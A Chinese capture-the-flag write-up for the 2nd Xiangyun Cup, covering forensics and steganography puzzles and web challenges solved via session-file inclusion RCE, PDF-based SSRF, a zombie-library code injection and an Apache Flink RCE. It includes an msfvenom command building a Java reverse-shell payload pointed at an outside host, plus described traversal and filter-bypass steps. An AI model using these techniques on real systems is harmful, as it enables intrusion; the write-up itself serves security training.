第二届祥云杯
MISC
层层取证
下载得到一个两点多G的压缩文件,全部解压缩文件后,得到两个文件。
第一个是虚拟磁盘文件。第二个是memdump.mem的一个文件。
用DiskGenius挂载,发现有个分区bitlocker加密。
这里用到一个解密工具,Passware Kit Forensic
解密得到密码
打开加密磁盘,发现一个流量包2.pcapng
流量分析后,发现有下载压缩包的动作。把UDP过滤出来,导出文件
打开压缩包。需要密码。而且还有个提示
开机密码??那应该要在那个men文件找了。可以在上面那个解密工具解,原理和volatility -f “xxxx” –profile=xxx hashdump是一样的
为了方便,我就直接在工具解密了。解出密码是xiaoming_handsome
打开doc文件,里面还要密码。。。
解法一:使用volatility分析一下内存文件。
1 | volatility -f memdump.mem --profile=Win7SP1x64 pslist |
看一些用了哪些进程,发现可以进程。用了便签
顺便看一下cmd调用情况
volatility -f memdump.mem –profile=Win7SP1x64 cmdline
同样发现了便签
还发现了一个flag.txt
回去看看这个flag.txt是什么
volatility -f memdump.mem –profile=Win7SP1x64 memdump -p 2572 -D .
文档密码:xiaoming1314
解法二:
根据flag.txt的提示,用仿真打开。那就创建虚拟机,等等一系列操作。开机,桌面就有个便签,便签内容就是小明1314
ChieftainsSecret
题目描述:Our agent risked his life to install a mysterious device in the immemorial telephone, can you find out the chieftain’s telephone number? Flag format: flag{11 digits}
开局一张图片
放进binwalk分析,并且分理出一个rar压缩包。解压之后得到两个文件。adc.csv和diagram.png
adc.csv文件里有2162组数据
diagram.png
右边是STM32F103单片机,左边是TLE5501芯片。
查阅TLE5501资料:TLE5501 是一种基于 TMR 的 360° 角度传感器,可检测磁场的方向。这是通过测量正弦和正弦角度组件与隧道磁阻 (TMR) 元件实现的。这些原始信号(sin和cos)作为微分输出信号提供,可在微控制器内直接进一步处理。
结合电路图分析,PC0-3各自对应SIN_P、SIN_N、COS_P、COS_N引脚输出,通过计算每一组数据可以得到一个角度。并且题意说明需要十一位电话号码,猜测2162组角度模拟了老式轮盘电话机的拨号过程。
根据这四个值计算出⻆度,再由图⽚的电话直接转着对号
此处直接计算PC1-PCO,PC3-PC2
最后求⼀下arctan反三⻆函数
然后根据算出来的角度画图。
得到11个峰值,大约读数
210 210 280 230 160 260 190 90 140 160 210
可以看到到2大约是90度。根据上面读到的11个数字,就可以得到77085962457
所以flag为flag{77085962457}
鸣雏恋
解压只有一个60+M的word文档,打开只有短短几行字?那肯定是隐藏了。
于是binwalk -e 分离出来了⼀个key.txt和⼀个压缩包
很明显是零宽隐写。
解出密码是Because I like naruto best
利用密码就可以打开压缩文件了。但是这题不太需要这个密码。因为打开这个love.zip,可以发现十几万张图片,其实就只有两张图片。那么自然而然就想到了一张图片代表的0一张图片代表的是1
写个脚本
1 | import zipfile |
得到二进制字符串。转成字符串
根据提示,将base64转成HEX,命名PNG就可以了
WEB
安全检测
扫描目录发现admin目录403
使用后台的URL检测检查一下,发现一个叫include123.php的文件
再用URL检测读取一下这个文件可以发现源码:
1 | <?php |
简单测试一下,发现check2.php中如果URL中含有http就会放入file_get_contents否则不会放进file_get_contents,如下图:
直接构造目录穿越读取其他文件的源码:
读到check2.php的源码如下,可以发现session可控。那么直接讲恶意代码写入SESSION,然后使用文件包含读取文件进行RCE。
先将代码带入SESSION
再通过http://127.0.0.1/admin/include123.php?u=/tmp/sess_6cff374336f8ebbc1fab7d2524189134进行包含
星号用通配符?绕过
读取flag:
SECRETS_OF_ADMIN
下载附件打开databases.ts存在账号密码,直接拿去登录
登录之后是一个通过内容生成PDF的逻辑,以往经验,通过link、img、iframe可以将内容带出来,或者实现SSRF
看到index.ts文件,虽然对传入内容进行了过滤,但是这里可以直接使用数组进行绕过:
但是生成的PDF用了UUID,我们无法得到文件名进行下载,但是在下面一个路由上可以写文件,可以将另外一个文件写入logs,同时他就卡死只能是127.0.0.1,直接说明我们需要通过PDF进行SSRF,执行这个路由将flag写入指定文件内:
构造payload:
下载flag文件:
CRAWLER_Z
题目提供源码,在bucket处存在明显的SSRF
但是怎么绕过正则就成了问题。后面发现verify会将personalBucket写入Bucket,而personalBucket在profile中是可控的。
我们可以将profile提交合法的personalBucket,然后获取到token通过verify将personalBucket写入指定的token中,然后通过Bucket来爬取页面。
- 先提交合法的personalBucket
- 通过verify来覆盖Bucket
1 | http://eci-2ze44hd5fno8qj0427fv.cloudeci1.ichunqiu.com:8888/user/verify? |
- Bucket获取内容
通过302跳转,可以发现能够读取内容,但是flag无法读取。一读取flag靶机就会崩溃,应该是开了文件保护。
后面留意到题目名称叫Crawler,那么肯定和这个类有关。追踪这个类发现他是二次封装的zombie库。google发现zombie存在代码注入,在加载js时候会存在任意代码执行。
于是远程写一个代码
再通过bucket爬取:
读取flag:
层层穿透
第一层是一个apache flink rce的day洞:
msfvenom -p java/meterpreter/reverse_tcp LHOST=vps LPORT=port -f jar > rce.jar
内网拿fscan扫一下得到:
1 | 10.10.1.11:8080 |
穿透出来发现是给的附件的jar应用,发现lib下有c3p0库,用注释填充一下后打回显:
1 | http |
根目录有个flag,读取即可: